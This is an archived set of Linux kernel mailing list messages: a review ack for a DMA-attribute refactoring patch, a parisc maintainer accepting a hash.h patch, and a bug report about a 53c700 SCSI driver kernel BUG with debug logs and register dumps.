> @@ -702,7 +702,7 @@ static dma_addr_t __iommu_map_page(struct device *dev, struct page *page,
>   	dma_addr_t dev_addr = iommu_dma_map_page(dev, page, offset, size, prot);
>
>   	if (!iommu_dma_mapping_error(dev, dev_addr) &&
> -	    !dma_get_attr(DMA_ATTR_SKIP_CPU_SYNC, attrs))
> +	    (attrs & DMA_ATTR_SKIP_CPU_SYNC) == 0)
>   		__iommu_sync_single_for_device(dev, dev_addr, size, dir);
>
>   	return dev_addr;
> @@ -712,7 +712,7 @@ static void __iommu_unmap_page(struct device *dev, dma_addr_t dev_addr,
>   			       size_t size, enum dma_data_direction dir,
>   			       unsigned long attrs)
>   {
> -	if (!dma_get_attr(DMA_ATTR_SKIP_CPU_SYNC, attrs))
> +	if ((attrs & DMA_ATTR_SKIP_CPU_SYNC) == 0)
>   		__iommu_sync_single_for_cpu(dev, dev_addr, size, dir);
>
>   	iommu_dma_unmap_page(dev, dev_addr, size, dir, attrs);
> @@ -752,7 +752,7 @@ static int __iommu_map_sg_attrs(struct device *dev, struct scatterlist *sgl,
>   {
>   	bool coherent = is_device_dma_coherent(dev);
>
> -	if (!dma_get_attr(DMA_ATTR_SKIP_CPU_SYNC, attrs))
> +	if ((attrs & DMA_ATTR_SKIP_CPU_SYNC) == 0)
>   		__iommu_sync_sg_for_device(dev, sgl, nelems, dir);
>
>   	return iommu_dma_map_sg(dev, sgl, nelems,
> @@ -764,7 +764,7 @@ static void __iommu_unmap_sg_attrs(struct device *dev,
>   				   enum dma_data_direction dir,
>   				   unsigned long attrs)
>   {
> -	if (!dma_get_attr(DMA_ATTR_SKIP_CPU_SYNC, attrs))
> +	if ((attrs & DMA_ATTR_SKIP_CPU_SYNC) == 0)
>   		__iommu_sync_sg_for_cpu(dev, sgl, nelems, dir);
>
>   	iommu_dma_unmap_sg(dev, sgl, nelems, dir, attrs);
[...]
> diff --git a/drivers/iommu/dma-iommu.c b/drivers/iommu/dma-iommu.c
> index 6c1bda504fb1..08a1e2f3690f 100644
> --- a/drivers/iommu/dma-iommu.c
> +++ b/drivers/iommu/dma-iommu.c
> @@ -306,7 +306,7 @@ struct page **iommu_dma_alloc(struct device *dev, size_t size, gfp_t gfp,
>   	} else {
>   		size = ALIGN(size, min_size);
>   	}
> -	if (dma_get_attr(DMA_ATTR_ALLOC_SINGLE_PAGES, attrs))
> +	if (attrs & DMA_ATTR_ALLOC_SINGLE_PAGES)
>   		alloc_sizes = min_size;
>
>   	count = PAGE_ALIGN(size) >> PAGE_SHIFT;
[...]

These all look appropriate to me; thanks!

For arm64 and dma-iommu:

Acked-by: Robin Murphy <robin.murphy-5wv7dgnIgG8@public.gmane.org>

From - Thu Nov 08 21:39:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH v4] parisc: add <asm/hash.h>
Date: Fri, 10 Jun 2016 21:15:54 +0200
Lines: 24
Approved: news@gmane.org
Message-ID: <575B11EA.6030300@gmx.de>
References: <20160610032318.32173.qmail@ns.sciencehorizons.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1465586177 28915 80.91.229.3 (10 Jun 2016 19:16:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 10 Jun 2016 19:16:17 +0000 (UTC)
Cc: "linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>
To: George Spelvin <linux@sciencehorizons.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jun 10 21:16:06 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1bBRuX-0004Jv-M1
	for glpp-linux-parisc@plane.gmane.org; Fri, 10 Jun 2016 21:16:06 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752068AbcFJTQD (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 10 Jun 2016 15:16:03 -0400
Original-Received: from mout.gmx.net ([212.227.17.21]:54268 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751951AbcFJTQC (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 10 Jun 2016 15:16:02 -0400
Original-Received: from [192.168.20.60] ([92.203.6.125]) by mail.gmx.com (mrgmx103)
 with ESMTPSA (Nemesis) id 0LhNwC-1bpCVI1OUK-00mYTT; Fri, 10 Jun 2016 21:15:56
 +0200
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.1.0
In-Reply-To: <20160610032318.32173.qmail@ns.sciencehorizons.net>
X-Provags-ID: V03:K0:se0v9HAdZBq4JZxDtRy/HIb5s2rXTj0I6suW3rflxwn9d/jUVyJ
 GC44TbIOqmzppXYg+GHxBBeQE9DjswdbtkJToEkles+upmCD2alrfgAMbwtCjz/NtrlEa5n
 MMYbTAjVXDZe7Zka7GyTez2bcqfCVTV/hY9jWjtPWGpa4AvilGow2JLzukoW/fjTn7LIjYu
 Omm12B0/X94uTGw3Sisjw==
X-UI-Out-Filterresults: notjunk:1;V01:K0:WWKPXI3Diys=:lizxSRHQ5KN6CKn25p0Ox4
 NC5spBizHcfXQ7VqYeKD3/w2SVQ91ae0r5sveapqFb6UKgEvyH6zYXo/Kvwjp9RFIHkfHff/8
 4nW39RNu8iVfk/jXiXgXvWvGzUjce8bEqd3Aahu+/ZZwB2zky3P2vCEzRCrd/3EiwNTzXbIhZ
 6AXRr0gDZL6/5j4fBwuaVOVyIs3PHWkOIjlpHUUgM2c8o1mlaa9/AZjhseutmxySQLoR4E0tb
 uKEM5R1ozKLVwa+3b2tbF70cO3Jmnh60EQVaP9naAbEmWUfEz4DbuMNlFahioD8JriOBQIcbz
 EpNDy/8z+mmEx7TMEFFwYtz+3sDMKIxeGvX7nH/5GWOB8DK+jrs/p1Eb2jT137aqbDRVbH9bH
 D5mcN+Fd7cPfKwqRzQ6QMwlV6g8hQvAQCDJBFEyMHKg7e5/Kpu3G/cSw9SC14drdTBEdbd9Jx
 GdXkd0W5pdIV7Q8zcxVQyo8Y+N7/ULRvJF4rFbu/x3CeJp19uv/mxFXDP84RDCI4FcGq69W9S
 qZ+05wqTQGSC/2ubQ8QUxqPa16EbzVGI2Rg3Qhs05kYGIT65FzSiu6E9Xkqyha8lMrBodHZ2x
 G8yNX/oV9nLJS2UwtFzm+a4B5cImYKZLHD2SY0YZw8g0d4ncORVsEAUDLl5mGqKjq/3mRFhJs
 dqAPgTMxmq4L+d1OQu94QbbOaj75F6T9rEef4pAARAk2E6jMX6/qL/vp74XHpRwLxCHCPGCRc
 Z9R1Y0pGIjrauPXEW/FxT2ERCoLjZWUw+JDtSD3QdhjXFeQAtoNllDyhu22265CrqgQaCGdJ 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26882
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26882>

On 10.06.2016 05:23, George Spelvin wrote:
> Helge Deller wrote:
>>> +	a += c << 3;		_ASSIGN(b, b << 7+31, "X" (c), "X" (d));
>>
>> This line produces compiler warnings:
> 
> Thanks for catching that.
> 
>> So, please add
>> Acked-by: Helge Deller <deller@gmx.de>
> 
> Done and pushed out to git://ftp.sciencehorizons.net/linux.git hash
> 
> Would you like to take it via the PA-RISC tree?

Yes, I will take it through the parisc tree.

Helge

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.scsi
Subject: Re: kernel BUG in drivers/scsi/53c700.c:1129
Date: Fri, 10 Jun 2016 22:25:29 +0200
Lines: 309
Approved: news@gmane.org
Message-ID: <575B2239.4020403@gmx.de>
References: <5759C524.2030009@gmx.de>
 <1465511002.2259.19.camel@HansenPartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1465590352 28647 80.91.229.3 (10 Jun 2016 20:25:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 10 Jun 2016 20:25:52 +0000 (UTC)
Cc: "linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>,
	linux-scsi <linux-scsi@vger.kernel.org>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jun 10 22:25:43 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1bBSzu-0003fL-E7
	for glpp-linux-parisc@plane.gmane.org; Fri, 10 Jun 2016 22:25:42 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751951AbcFJUZm (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 10 Jun 2016 16:25:42 -0400
Original-Received: from mout.gmx.net ([212.227.17.22]:54088 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751949AbcFJUZj (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 10 Jun 2016 16:25:39 -0400
Original-Received: from [192.168.20.60] ([92.203.6.125]) by mail.gmx.com (mrgmx103)
 with ESMTPSA (Nemesis) id 0MWCKz-1avr0N1zMv-00XN8A; Fri, 10 Jun 2016 22:25:30
 +0200
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.1.0
In-Reply-To: <1465511002.2259.19.camel@HansenPartnership.com>
X-Provags-ID: V03:K0:hpfY7ljCJr6Lg6ChvhzaQtyqY3P97yU6kpe1xZ/REN4XmUzzQ7F
 p1pFXxqBNlvfSaMAEPER6NhM0oXdozkDFFpluFsJiVphX1jSLrx8yJxEnHi7BV2osE+jhNu
 TJRPO1N9Iue39IhMm/AENIMuH07R310OLUThMNGDPkMASmxCvFookHiEmnk53soLoGR+Cm5
 w547Ky1FT3JEt26VgVqEA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:gwB575cgmI4=:FOQ20BpByyW+17WAvqpPp5
 /ExCiU1LaiyJ/ov3QUIOPaGZW8qigeVIQ0j1/IazwutsZQcWFKy3/lbpJ/KmY49QjHs58g0tU
 SwvEYViUlRvBwSQgF4MUq3koeCGtPP2Chscnh9HLdrYoqRjZQAK9TF5WCnjnJW0nB+P7CbH/c
 iHAAWcYCm1Yj/k01q8d2Urpb5/uC6+mA+AAmiaCvXoC6GS1KF/Be+LtMvmZKWjk8XPnQFQye7
 krfEjyC/VOSb9phqyUKIP3s7fdJS2oz2IrcQ04sq3V9GDNK3PfT8miZ5ZS9FKbqyzUosudjSN
 ez/g5Y1sc97FjttsYcqZVPtp+TcxSZMbX0dUy5+e4kA0202n9Uui3pV2goOvENFfGkiQDrItw
 Tt4dLDDEyfEe+lrkMO1NU17nbq98E02YUzY8duSmLUF0DRhPa5mA1+p9hkES0gDK6WDsL5T4T
 5qs0Fge9sqzyzAp2dnV68QIyN/l0ouvRZc69vUxMDEP54fWDFL6Y2Na6E8VidcCOUJdBUfSZS
 I27fObmEdJuWlxnYqnX/jt+WtCtSuUUQcsxmcWb3Qk/X0iTlADWFOyEoEBYISH0+Qw7U4qx2o
 NkLKJj//gA0CyZU0bOZISbBVupTdnF4+Fe4pQzJrCZmgxLW+FQ2fvnOgDyCs43KkbHStAnF1U
 iHsgHHlmGBEJM39OQDr4E+IF0hNlDzCtc0VaiCd4crTHnGl9iO0Pa8xm7bVYInKXpGmBRapcp
 6jMZ4u0W1g6Jxwx/bo7rsrSKqq3E3UBlaUQ3sytOLL4i/yuzMY6mwR+vs+5+MZniAEtO5gap 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26883 gmane.linux.scsi:114266
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26883>

On 10.06.2016 00:23, James Bottomley wrote:
> On Thu, 2016-06-09 at 21:36 +0200, Helge Deller wrote:
>> Hi James,
>>
>> I just tried Debian kernel 4.6.1-1 on my historic 715/64 machine, and it
>> ran into this  BUG() in the LASI scsi driver:
>>
>>  scsi 0:0:6:0: no saved request for untagged cmd
>>
>> Any idea?
>>
>> Helge
>>  
>> [    0.000000] Linux version 4.6.0-1-parisc (debian-kernel@lists.debian.org) (gcc version 5.4.0 20160603 (Debian 5.4.0-3) ) #1 Debian 4.6.1-1 (2016-06-06)
>> ...
>> [    0.000000] Determining PDC firmware type: Snake.
>> [    0.000000] model 000060a0 00000481 00000000 00000000 773c7d2c 00000000 00000004 00000072 00000072
>> [    0.000000] vers  0000000c
>> [    0.000000] model 9000/715
>> [    0.000000] Total Memory: 160 MB
>> ...
>> [   43.180000] SCSI subsystem initialized
>> [   45.076000] 53c700: Version 2.8 By James.Bottomley@HansenPartnership.com
>> [   45.156000] scsi0: 53c710 rev 2 
>> [   46.204000] scsi host0: LASI SCSI 53c700
>> [   58.268000] scsi 0:0:6:0: no saved request for untagged cmd
>> [   58.336000] ------------[ cut here ]------------
>> [   58.392000] kernel BUG at /build/linux-XAODSw/linux-4.6.1/drivers/scsi/53c700.c:1129!
>> [   58.484000] CPU: 0 PID: 0 Comm: swapper Not tainted 4.6.0-1-parisc #1 Debian 4.6.1-1
>> [   58.580000] task: 1083cdd8 ti: 107b1000 task.ti: 107b1000
>> [   58.644000] 
>> [   58.660000]      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
>> [   58.716000] PSW: 00000000000001001111111100001110 Not tainted
>> [   58.788000] r00-03  0004ff0e 0084e388 00a8ea8c 107ba400
>> [   58.848000] r04-07  00000000 00000000 15b88cc0 00000006
>> [   58.912000] r08-11  198ca400 000000ff 00000020 00000000
>> [   58.976000] r12-15  000000ff 00001003 10801020 00000001
>> [   59.036000] r16-19  107b1240 00000002 000000ff 00000001
>> [   59.100000] r20-23  00000001 0000000e 0084f388 00000000
>> [   59.164000] r24-27  107ba500 0083b540 1021a7a4 107b5020
>> [   59.224000] r28-31  00000000 00000040 107ba480 104d52bc
>> [   59.288000] sr00-03  00000000 00000000 00000000 0000000d
>> [   59.352000] sr04-07  00000000 00000000 00000000 00000000
>> [   59.416000] 
>> [   59.432000] IASQ: 00000000 00000000 IAOQ: 00a8ea8c 00a8ea90
>> [   59.500000]  IIR: 03ffe01f    ISR: 0000000d  IOR: 00a8ea90
>> [   59.564000]  CPU:        0   CR30: 107b1000 CR31: f00effff
>> [   59.632000]  ORIG_R28: 10855e80
>> [   59.668000]  IAOQ[0]: process_script_interrupt+0x13ec/0x16a4 [53c700]
>> [   59.748000]  IAOQ[1]: process_script_interrupt+0x13f0/0x16a4 [53c700]
>> [   59.824000]  RP(r2): process_script_interrupt+0x13ec/0x16a4 [53c700]
>> [   59.900000] Backtrace:
>> [   59.928000]  [<00a8ea8c>] process_script_interrupt+0x13ec/0x16a4 [53c700]
>> [   60.012000] 
>> [   60.028000] CPU: 0 PID: 0 Comm: swapper Not tainted 4.6.0-1-parisc #1 Debian 4.6.1-1
>> [   60.120000] Backtrace:
>> [   60.148000]  [<1015bffc>] show_stack+0x3c/0x50
>> [   60.204000]  [<10425d40>] dump_stack+0x28/0x38
>> [   60.256000]  [<1015c180>] die_if_kernel+0x134/0x20c
>> [   60.316000]  [<1015cd34>] handle_interruption+0x804/0x828
>> [   60.380000] 
>> [   60.400000] Kernel panic - not syncing: Fatal exception in interrupt
>> [   60.400000] ---[ end Kernel panic - not syncing: Fatal exception in interrupt
> 
> It looks like either an unsolicited reselection or possibly a spurious
> interrupt left over from something.  Can you define NCR_700_DEBUG in
> drivers/scsi/53c700.h and see what it says?

I enabled NCR_700_DEBUG and NCR_700_TAG_DEBUG.
This is from vanilla kernel 4.6:

[    8.700000] Uniform Multi-Platform E-IDE driver
[    8.760000] ide-gd driver 1.18
[    8.790000] ide-cd driver 5.00
[    8.860000]  script, patching MessageLocation at 31 to 0x09f684b0
[    8.930000]  script, patching StatusAddress at 281 to 0x09f684d0
[    9.000000]  script, patching ReceiveMsgAddress at 15 to 0x09f684c0
[    9.080000]  script, patching ReceiveMsgAddress at 19 to 0x09f684c0
[    9.150000]  script, patching ReceiveMsgAddress at 41 to 0x09f684c0
[    9.230000]  script, patching ReceiveMsgAddress at 49 to 0x09f684c0
[    9.300000]  script, patching ReceiveMsgAddress at 55 to 0x09f684c0
[    9.370000]  script, patching ReceiveMsgAddress at 71 to 0x09f684c0
[    9.450000]  script, patching ReceiveMsgAddress at 77 to 0x09f684c0
[    9.520000]  script, patching ReceiveMsgAddress at 83 to 0x09f684c0
[    9.600000]  script, patching ReceiveMsgAddress at 89 to 0x09f684c0
[    9.670000]  script, patching ReceiveMsgAddress at 95 to 0x09f684c0
[    9.750000]  script, patching ReceiveMsgAddress at 137 to 0x09f684c0
[    9.830000]  script, patching ReceiveMsgAddress at 147 to 0x09f684c0
[    9.900000]  script, patching ReceiveMsgAddress at 177 to 0x09f684c0
[    9.980000]  script, patching ReceiveMsgAddress at 215 to 0x09f684c0
[   10.050000]  script, patching ReceiveMsgAddress at 251 to 0x09f684c0
[   10.130000]  script, patching ReceiveMsgAddress at 285 to 0x09f684c0
[   10.210000] 53c700: Version 2.8 By James.Bottomley@HansenPartnership.com
[   10.290000] scsi0: 53c710 rev 2 
[   11.330000] 53c700: sync 1 async 2
[   11.370000] scsi host0: LASI SCSI 53c700
[   11.430000] 53c700: scsi0, command 
[   11.430000] scsi 0:0:0:0: tag#0 CDB: opcode=0x12 12 00 00 00 24 00
[   11.430000]  scatter block 0: move 36[09000024] from 0x9d66100
[   11.430000]  SETTING 09f684e8 to 90080000
[   11.430000]  script, patching short field MessageCount at 30 to 0xe000006
[   11.430000]  script, patching ID field Device_ID at 0 to 0x41010000
[   11.430000]  script, patching CommandAddress at 121 to 0x09c0d3c8
[   11.430000]  script, patching short field CommandCount at 120 to 0xa000006
[   11.430000]  script, patching SGScriptStartAddress at 191 to 0x09f684e0
[   11.430000]  script, patching SGScriptStartAddress at 207 to 0x09f684e0
[   32.090000] scsi 0:0:0:0: tag#0 abort command
[   32.140000] scsi 0:0:0:0: tag#0 New error handler wants BUS reset, cmd 19f72d20
[   32.140000] 
[   32.240000] scsi 0:0:0:0: tag#0 CDB: opcode=0x12 12 00 00 00 24 00
[   32.320000] scsi0: istat 02 sstat0 02 dstat 00 dsp 0002[09f68008] dsps 0x9f68020
[   32.320000] scsi0: Bus Reset detected, executing command 19f72d20, slot 000084e0, dsp 09f68008[0008]
[   32.320000]  failing command because of reset, slot 000084e0, cmnd 19f72d20
[   32.320000] 53c700: sync 1 async 2
[   42.670000] 53c700: scsi0, command 
[   42.670000] scsi 0:0:0:0: tag#0 CDB: opcode=0x0 00 00 00 00 00 00
[   42.670000]  script, patching short field MessageCount at 30 to 0xe000006
[   42.670000]  script, patching ID field Device_ID at 0 to 0x41010000
[   42.670000]  script, patching CommandAddress at 121 to 0x09fa03f4
[   42.670000]  script, patching short field CommandCount at 120 to 0xa000006
[   42.670000]  script, patching SGScriptStartAddress at 191 to 0x09f684e0
[   42.670000]  script, patching SGScriptStartAddress at 207 to 0x09f684e0
[   43.260000] scsi 0:0:0:0: tag#0 abort command
[   43.310000] scsi0: istat 02 sstat0 02 dstat 00 dsp 0004[09f68010] dsps 0x9f68460
[   43.310000] scsi0: Bus Reset detected, executing command 19f72d20, slot 000084e0, dsp 09f68010[0010]
[   43.310000]  failing command because of reset, slot 000084e0, cmnd 19f72d20
[   43.310000] 53c700: sync 1 async 2
[   43.650000] scsi 0:0:0:0: tag#0 New error handler wants BUS reset, cmd 19f72d20
[   43.650000] 
[   43.760000] scsi 0:0:0:0: tag#0 CDB: opcode=0x0 00 00 00 00 00 00
[   43.830000] scsi0: istat 02 sstat0 02 dstat 00 dsp 0004[09f68010] dsps 0x9f68460
[   43.830000] scsi0: Bus Reset detected, executing command   (null), slot   (null), dsp 09f68010[0010]
[   43.830000] 53c700: sync 1 async 2
[   54.110000] scsi 0:0:0:0: tag#0 New error handler wants HOST reset
[   54.110000] 
[   54.200000] scsi 0:0:0:0: tag#0 CDB: opcode=0x12 12 00 00 00 24 00
[   54.270000] 53c700: sync 1 async 2
[   54.270000] timer_interrupt(CPU 0): delayed! cycles 3F77F5E rem 20A2  next/now 90731E60/9072FDBE
[   65.430000] 53c700: scsi0, command 
[   65.430000] scsi 0:0:0:0: tag#0 CDB: opcode=0x0 00 00 00 00 00 00
[   65.430000]  script, patching short field MessageCount at 30 to 0xe000006
[   65.430000]  script, patching ID field Device_ID at 0 to 0x41010000
[   65.430000]  script, patching CommandAddress at 121 to 0x09fa03f4
[   65.430000]  script, patching short field CommandCount at 120 to 0xa000006
[   65.430000]  script, patching SGScriptStartAddress at 191 to 0x09f684e0
[   65.430000]  script, patching SGScriptStartAddress at 207 to 0x09f684e0
[   66.020000] scsi 0:0:0:0: tag#0 abort command
[   66.070000] scsi0: istat 02 sstat0 02 dstat 00 dsp 0004[09f68010] dsps 0x9f68460
[   66.070000] scsi0: Bus Reset detected, executing command 19f72d20, slot 000084e0, dsp 09f68010[0010]
[   66.070000]  failing command because of reset, slot 000084e0, cmnd 19f72d20
[   66.070000] 53c700: sync 1 async 2
[   66.410000] scsi 0:0:0:0: tag#0 New error handler wants BUS reset, cmd 19f72d20
[   66.410000] 
[   66.520000] scsi 0:0:0:0: tag#0 CDB: opcode=0x0 00 00 00 00 00 00
[   66.590000] scsi0: istat 02 sstat0 02 dstat 00 dsp 0004[09f68010] dsps 0x9f68460
[   66.590000] scsi0: Bus Reset detected, executing command   (null), slot   (null), dsp 09f68010[0010]
[   66.590000] 53c700: sync 1 async 2
[   76.870000] scsi 0:0:0:0: Device offlined - not ready after error recovery
[   76.950000] 53c700: scsi0, command 
[   76.950000] scsi 0:0:1:0: tag#0 CDB: opcode=0x12 12 00 00 00 24 00
[   76.950000]  scatter block 0: move 36[09000024] from 0x9d66100
[   76.950000]  SETTING 09f684e8 to 90080000
[   76.950000]  script, patching short field MessageCount at 30 to 0xe000006
[   76.950000]  script, patching ID field Device_ID at 0 to 0x41020000
[   76.950000]  script, patching CommandAddress at 121 to 0x09c0d3c8
[   76.950000]  script, patching short field CommandCount at 120 to 0xa000006
[   76.950000]  script, patching SGScriptStartAddress at 191 to 0x09f684e0
[   76.950000]  script, patching SGScriptStartAddress at 207 to 0x09f684e0
[   77.970000] scsi0: istat 02 sstat0 20 dstat 00 dsp 0004[09f68010] dsps 0x9f68460
[   77.970000] scsi0: (1:0) selection timeout
[   78.110000] 53c700: scsi0, command 
[   78.110000] scsi 0:0:2:0: tag#0 CDB: opcode=0x12 12 00 00 00 24 00
[   78.110000]  scatter block 0: move 36[09000024] from 0x9d66100
[   78.110000]  SETTING 09f684e8 to 90080000
[   78.110000]  script, patching short field MessageCount at 30 to 0xe000006
[   78.110000]  script, patching ID field Device_ID at 0 to 0x41040000
[   78.110000]  script, patching CommandAddress at 121 to 0x09c0d3c8
[   78.110000]  script, patching short field CommandCount at 120 to 0xa000006
[   78.110000]  script, patching SGScriptStartAddress at 191 to 0x09f684e0
[   78.110000]  script, patching SGScriptStartAddress at 207 to 0x09f684e0
[   79.120000] scsi0: istat 02 sstat0 20 dstat 00 dsp 0004[09f68010] dsps 0x9f68460
[   79.120000] scsi0: (2:0) selection timeout
[   79.270000] 53c700: scsi0, command 
[   79.270000] scsi 0:0:3:0: tag#0 CDB: opcode=0x12 12 00 00 00 24 00
[   79.270000]  scatter block 0: move 36[09000024] from 0x9d66100
[   79.270000]  SETTING 09f684e8 to 90080000
[   79.270000]  script, patching short field MessageCount at 30 to 0xe000006
[   79.270000]  script, patching ID field Device_ID at 0 to 0x41080000
[   79.270000]  script, patching CommandAddress at 121 to 0x09c0d3c8
[   79.270000]  script, patching short field CommandCount at 120 to 0xa000006
[   79.270000]  script, patching SGScriptStartAddress at 191 to 0x09f684e0
[   79.270000]  script, patching SGScriptStartAddress at 207 to 0x09f684e0
[   80.280000] scsi0: istat 02 sstat0 20 dstat 00 dsp 0004[09f68010] dsps 0x9f68460
[   80.280000] scsi0: (3:0) selection timeout
[   80.420000] 53c700: scsi0, command 
[   80.420000] scsi 0:0:4:0: tag#0 CDB: opcode=0x12 12 00 00 00 24 00
[   80.420000]  scatter block 0: move 36[09000024] from 0x9d66100
[   80.420000]  SETTING 09f684e8 to 90080000
[   80.420000]  script, patching short field MessageCount at 30 to 0xe000006
[   80.420000]  script, patching ID field Device_ID at 0 to 0x41100000
[   80.420000]  script, patching CommandAddress at 121 to 0x09c0d3c8
[   80.420000]  script, patching short field CommandCount at 120 to 0xa000006
[   80.420000]  script, patching SGScriptStartAddress at 191 to 0x09f684e0
[   80.420000]  script, patching SGScriptStartAddress at 207 to 0x09f684e0
[   81.440000] scsi0: istat 02 sstat0 20 dstat 00 dsp 0004[09f68010] dsps 0x9f68460
[   81.440000] scsi0: (4:0) selection timeout
[   81.580000] 53c700: scsi0, command 
[   81.580000] scsi 0:0:5:0: tag#0 CDB: opcode=0x12 12 00 00 00 24 00
[   81.580000]  scatter block 0: move 36[09000024] from 0x9d66100
[   81.580000]  SETTING 09f684e8 to 90080000
[   81.580000]  script, patching short field MessageCount at 30 to 0xe000006
[   81.580000]  script, patching ID field Device_ID at 0 to 0x41200000
[   81.580000]  script, patching CommandAddress at 121 to 0x09c0d3c8
[   81.580000]  script, patching short field CommandCount at 120 to 0xa000006
[   81.580000]  script, patching SGScriptStartAddress at 191 to 0x09f684e0
[   81.580000]  script, patching SGScriptStartAddress at 207 to 0x09f684e0
[   82.590000] scsi0: istat 02 sstat0 20 dstat 00 dsp 0004[09f68010] dsps 0x9f68460
[   82.590000] scsi0: (5:0) selection timeout
[   82.740000] 53c700: scsi0, command 
[   82.740000] scsi 0:0:6:0: tag#0 CDB: opcode=0x12 12 00 00 00 24 00
[   82.740000]  scatter block 0: move 36[09000024] from 0x9d66100
[   82.740000]  SETTING 09f684e8 to 90080000
[   82.740000]  script, patching short field MessageCount at 30 to 0xe000006
[   82.740000]  script, patching ID field Device_ID at 0 to 0x41400000
[   82.740000]  script, patching CommandAddress at 121 to 0x09c0d3c8
[   82.740000]  script, patching short field CommandCount at 120 to 0xa000006
[   82.740000]  script, patching SGScriptStartAddress at 191 to 0x09f684e0
[   82.740000]  script, patching SGScriptStartAddress at 207 to 0x09f684e0
[   83.440000] scsi0: istat 09 sstat0 00 dstat 84 dsp 00ba[09f682e8] dsps 0x250
[   83.440000] scsi0: (6:0) ====>SCRIPT INTERRUPT<====
[   83.440000] scsi0 (6:0): message before command phase: 01 03 01 00 00 
[   83.440000] Attempting to resume at 9f682e8
[   83.710000] scsi0: istat 01 sstat0 00 dstat 84 dsp 00ac[09f682b0] dsps 0x380
[   83.710000] scsi0: (6:0) ====>SCRIPT INTERRUPT<====
[   83.710000] scsi0: (6:0), DISCONNECTED (3) after command phase
[   83.920000] scsi0: istat 0a sstat0 10 dstat 00 dsp 00ac[09f682b0] dsps 0x380
[   83.920000] scsi0:  Reselected by 6
[   83.920000] Attempting to resume at 9f68038
[   84.100000] scsi0: istat 09 sstat0 00 dstat 84 dsp 0012[09f68048] dsps 0x1003
[   84.100000] scsi0: (255:255) ====>SCRIPT INTERRUPT<====
[   84.100000] scsi0: (6:0) RESELECTED!
[   84.100000] scsi 0:0:6:0: no saved request for untagged cmd
[   84.360000] ------------[ cut here ]------------
[   84.410000] kernel BUG at /home/cvs/parisc/git-kernel/linus-linux-2.6/drivers/scsi/53c700.c:1129!
[   84.520000] CPU: 0 PID: 0 Comm: swapper Not tainted 4.6.0-32bit+ #323
[   84.590000] task: 10732288 ti: 1072b000 task.ti: 1072b000
[   84.660000] 
[   84.680000]      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
[   84.730000] PSW: 00000000000001001111111100001110 Not tainted
[   84.800000] r00-03  0004ff0e 1077a24c 10438288 10735940
[   84.860000] r04-07  19f63d80 00000000 09f68048 00000006
[   84.930000] r08-11  19d5e000 19fa6c00 00000020 10669d30
[   84.990000] r12-15  00000084 000000ff 00000000 00200000
[   85.050000] r16-19  10735280 00000002 00000000 00000001
[   85.110000] r20-23  00000001 0000000e 1077b24c 103cfbac
[   85.180000] r24-27  00000000 0000000e 00000000 1072f030
[   85.240000] r28-31  00000000 00000119 107359c0 103d2adc
[   85.300000] sr00-03  00000000 00000000 00000000 00000000
[   85.360000] sr04-07  00000000 00000000 00000000 00000000
[   85.430000] 
[   85.450000] IASQ: 00000000 00000000 IAOQ: 10438288 1043828c
